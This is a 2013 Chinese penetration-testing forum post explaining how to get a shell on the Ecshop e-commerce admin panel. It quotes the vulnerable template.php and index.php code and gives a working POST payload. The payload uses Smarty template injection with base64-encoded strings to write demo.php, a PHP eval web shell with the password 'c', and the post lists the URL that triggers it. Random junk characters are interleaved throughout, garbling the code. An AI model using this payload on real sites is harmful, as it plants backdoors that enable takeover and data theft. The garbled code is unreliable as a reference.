中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板+ v7 @' J$ q+ [& A- A4 J# g
$ u0 R9 n' v! z9 L6 {
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
5 o, _# b, g, x: d! i: {) q: W但是ecshop似乎不支持{php}{/php}这个标签来执行php代码" V# C0 N& I  o) y
admin/template.php6 C* }, z' m1 m3 }" V' H4 D1 U$ E# Z+ r
3 W0 U2 X  J6 Y3 c, ^* B& _/ S
1 if ($_REQUEST['act'] == 'update_library')
# i; _# G1 g  }! ]* ^" W5 y& Z: e+ \2 x5 G4 {( e8 T
2   4 a% Y" z2 B! ^* D3 S& C
* [8 H- Z" s6 U* P" O0 o
3 {
0 P# c/ Q# r6 O9 z8 _* ^7 y; v# v3 \5 |
4     check_authz_json('library_manage');
. d/ m3 W+ j# H2 G3 i2 s- Y& I
+ t  s0 x5 z% f% [5   
2 Y1 M* K/ D' i
7 H, C+ F+ w( D. N0 V/ G6     $html = stripslashes(json_str_iconv($_POST['html'])); 8 f0 C7 X3 n" T- [4 u8 Y# o
% b' ~' _# W1 e2 U' \
7   
0 B; i: r4 @9 b& V+ N% F' F7 X$ g1 F$ ^) S
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ! C, i  n, Y, E& ]3 c+ s6 I" C' D

5 I. Z) w: Q$ C9 U( V" s9   ( H' P) y: v5 O- \
5 [! \. O3 f/ R9 V: L  T
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 / ?" y' V" H  D5 y2 G: M% ]7 J
' J/ ?3 V( U- K- _# [$ t" D6 c9 r$ W! n
11   # n0 E2 k0 f' t# a
- t$ S0 O# l3 D+ O, s' _/ M
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
7 L: z" R9 u+ D$ `8 I
7 s4 n7 b0 [" c7 d) D13   
; _$ Q4 n9 s1 }7 }8 e) Q! D2 r' t: T' @# g
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: O& [* y) g; o1 ~1 Z  b. j
$ d) c: D$ V0 p15     {
/ S0 o/ ?) \, G; O+ S4 q4 k. c* P. o' S9 o8 ]* E
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ' w( b" ~' `3 X$ ~

& M$ r4 N1 ?) U1 O5 \$ S17         make_json_result('', $_LANG['update_lib_success']);
3 m" s  D5 {1 L; O3 d5 L  ^5 j1 x0 G, p0 N! f4 ?# X
18     }
# e$ ]* z/ v. S
3 `# H! M2 x9 P* f2 y: U19     else - m3 a: \$ W7 L  }- Z$ p$ B6 i
: P) F8 j5 k1 {, ?- U
20     {
6 Z  R. ^! R* X- B. ^$ \" z: k9 O+ g  v& I2 y3 ?
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
2 N! v' T  h8 ^6 U/ p/ l+ K1 _4 x) `( U* ?+ G
22     }
" c4 g4 j( Q, D+ w& n* \% w
% V! c. b: R5 H+ e9 ~- r; M/ r* P% f23 } / n. {, m8 \0 t2 S' R  r  g
$ J" Z# K6 [0 P- H7 i" U
那么找个比较方便调用了模板的文件6 C( h2 Y) u0 j# O
index.php
( Q, {1 Z7 f7 N& ?8 g, ]* q" J
" j7 a, x+ s7 |& D4 P: }- C, X1 if ($act == 'cat_rec') 2 n0 K* ]5 d! ]& \( V) S7 N

+ g6 u4 u( T. {3 F) c% n- i2   
7 x$ v% X, [% d) H% @$ g5 @
+ |9 e, E# }1 ^) N3 h* w* Q5 x2 I3 {
. R4 N5 b4 M: D7 v# b# P
/ M4 l$ B5 @8 r& b5 A4   
. Y3 L  j! n, f4 b/ u5 k5 M7 ]
# h" @- I. Z, H# [5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); ) o" s3 e7 M5 w5 W
) D1 ]" F% m+ R" V4 q" G  w: T
6   1 c$ s) ?7 q  e# H1 O' c; b4 j  ~

# s7 i. n* W$ V7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 3 s7 b9 x2 H2 L% X) e$ Y

7 H3 z+ v% ]0 V. l6 \; r8   
9 m9 S: f2 @- _* N
8 s* J: s; Z0 R& b5 k; a9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';   i5 b( ?, ^7 G5 w
, b0 V* r5 X5 c4 }* F
10   ! I* r4 l- [6 c/ c' v( A9 i
0 ~: k  D- U7 }$ e7 G$ l+ `1 L6 S
11     include_once('includes/cls_json.php');
  k# l% Y0 G3 F& b) @) C' E) _& d0 J8 N6 U! l. p# w, A' w; T3 k" D- p- M$ N3 O
12   
5 w* Y* ]% n: d. x" ], T+ D
) H; ?+ \6 T. c- k13     $json = new JSON;
3 I/ Z) g0 t8 C3 Y7 J+ `; J; z. ^" `/ u4 ]# u1 I
14   . k4 c* N7 P: k" W% _; i  @

7 K5 m; C/ M2 ?) W15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
8 ?- X4 ~  i3 V$ f: O& D% l
) n; g3 i9 h6 D- E8 a* ?16   # j6 Q. Y& {* l( P. ?  q

5 L& K! }9 q. @! U- W& i, l1 B17     $children = get_children($cat_id); 9 |; d+ M7 `! H3 R. `
! r- j* i- f4 U' }( V
18   
- N  ^# w, v& b" O' p7 b1 S; R
7 l, L- c# i; D: Y' U+ g, H19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
9 M! X# m5 B9 X
5 i) ~# T5 D* e! b+ t20   
& X- X4 R* N/ J6 j5 p- ^* s
8 I/ {/ y. ^6 D. d1 _6 ?21     $smarty->assign('cat_rec_sign', 1);
6 ]+ h. ?$ w% k! c' c5 n) ^
6 E8 ?) Z( A0 y& ?5 c6 i0 c0 J22   
' U. w8 r4 D# d; ^3 T$ w; ^8 L% }8 [% d1 D
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
! n3 H  [/ A+ o$ [! X5 l! d" [& ]$ U3 T
24     _; ]- s" \5 Q0 C5 O

& @0 l( j# H" W! k. R+ H25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
9 }- E7 [: a6 U" a) o
8 z  a% s2 J* s$ C3 |- {4 V' j; D- l26   
5 L/ G9 h" E6 ^
  \) l' G; c% r6 Q" c8 }27         echo $rec_array[$rec_type]; & D& g. ]3 ]% ]2 S

) U# z% Z. ?- A8 D28     f% U* i9 T: }& h- ^2 F* }7 t
2 N, V; R6 ?5 ]7 v. f. Y9 q
29     die($json->encode($result));
1 f9 q9 {, o# g
$ C7 B- i8 X/ L: c! a" P- e$ V30   ) H# q: F0 J  O0 F
2 v3 V# @7 i$ s
31 } ! B+ g6 S" Q6 z- i2 y) V3 y8 x
) k5 K+ d) N! C+ a7 q6 `) C
那么就有利用方法了
, s1 Y! m; a" b) \+ u* lpost包到http://localhost/ec/admin/template.php?act=update_library
+ ^" Z9 T3 \0 p) e3 s. A. qPost内容:9 F. T* F% W# g

/ J8 H5 j6 H: _, S+ L) R4 [" `+ M' ^6 ], r5 |
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 1 k6 s6 S8 n) g% e

" X/ g. U) s3 @  e4 U然后访问http://localhost/ec/index.php?act=cat_rec/ z4 y: R( J/ k& \

3 O3 x; k+ J. G) S8 `$ H3 Z( G' W1 Vshel地址:http://localhost/ec/demo.php$ T1 [3 W9 \" _5 _& a# g' p) w
密码c1 l1 u4 A6 l% R1 r2 ?
  J0 b+ W2 R% a: r4 Z- h





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2